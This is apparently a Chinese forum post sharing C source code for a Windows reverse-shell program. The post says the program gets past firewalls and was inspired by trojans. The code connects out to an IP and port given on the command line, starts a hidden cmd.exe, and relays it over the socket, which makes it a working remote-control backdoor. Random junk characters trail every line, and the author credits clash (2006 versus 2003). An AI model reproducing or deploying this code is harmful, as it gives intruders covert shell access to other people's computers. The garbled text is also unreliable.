这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g.9MPN
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/* ============================== rAQ^:q
Rebound port in Windows NT |%M%j'9
By wind,2006/7 0\gE^=o[
===============================*/ =0v{+#}
#include DSnsi@Mi
#include ~MQN&
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#pragma comment(lib,"wsock32.lib") 9GQTe1[t4
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void OutputShell(); 6!gGWn5>}
SOCKET sClient; dkVVvK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xr?r3Y~^e
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void main(int argc,char **argv) o= 8yp2vG
{ }k,Si9O
WSADATA stWsaData; rFmE6{4:p
int nRet; e~}+.B0
SOCKADDR_IN stSaiClient,stSaiServer; 4mPg; n
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if(argc != 3) * dNMnZ@Y
{ OrRve$U*|
printf("Useage:\n\rRebound DestIP DestPort\n"); c''!&;[!
return; QVFa<>8/md
} #:{u1sq;
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WSAStartup(MAKEWORD(2,2),&stWsaData); vR`KRI`{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?}Mv5SO
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stSaiClient.sin_family = AF_INET; iE&`Fhf?
stSaiClient.sin_port = htons(0); |epe;/
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); */qv}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Cvl"")ZZ`
{ <vj&e(D^
printf("Bind Socket Failed!\n"); .lE"N1
return; (*M(gM{;
} 1o$<pZZ
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stSaiServer.sin_family = AF_INET; ]V9\4#I4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ",K6zALJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TQ>1u
{ g,q&A$Wi
printf("Connect Error!"); ?HBc7$nW
return; .+8w\>w6g
} gFW1Nm_DJ
OutputShell(); %RJW@~!
} 9x:c"S*
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void OutputShell() b _6j77
{ 19lx;^b
char szBuff[1024]; %]:u ^\7
SECURITY_ATTRIBUTES stSecurityAttributes; 7.]xcJmt>'
OSVERSIONINFO stOsversionInfo; @F=4B0=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <vPIC G)
STARTUPINFO stStartupInfo; _@HMk"A
char *szShell; ` bg{\ .q
PROCESS_INFORMATION stProcessInformation; 'g$|:bw/
unsigned long lBytesRead; \BS^="AcpP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .lj\H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {o;J'yjre1
stSecurityAttributes.lpSecurityDescriptor = 0; 0chBw~@*s
stSecurityAttributes.bInheritHandle = TRUE; Ldig/:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \.}* s]6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F*(<`V
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \N!k)6\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !$fBo3!B_8
stStartupInfo.wShowWindow = SW_HIDE; OI1&Z4Lx
stStartupInfo.hStdInput = hReadPipe; VFRUiz/C
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l0]z Zcpt
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GetVersionEx(&stOsversionInfo); 8+lM6O ~!
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switch(stOsversionInfo.dwPlatformId) tEZ@v(D
{ F2lTDuk>C
case 1: 5a_1x|Fhi
szShell = "command.com"; vJK0>":G
break; poQY X5
default: N^:)U"9*e
szShell = "cmd.exe"; X 5pp8~
break; 8NA2C.gOZ
} uh@ZHef[l
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U^:+J-z{
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send(sClient,szMsg,77,0); qMKXS,s
while(1) S9U`-\L0
{ uq{w1O5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?%#3p[
if(lBytesRead) ]qvrpI!E!
{ 6-j><'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6f{Kj)
send(sClient,szBuff,lBytesRead,0); eM{,B
} 4f'1g1@$
else 0%#ZupN
{ R~PD[.\u
lBytesRead=recv(sClient,szBuff,1024,0); r3{Cu z
if(lBytesRead<=0) break; QS\H[?M$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +?DP r
} l'y)L@|Qrh
} !^:b?M
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return; 9jBP|I{xI
}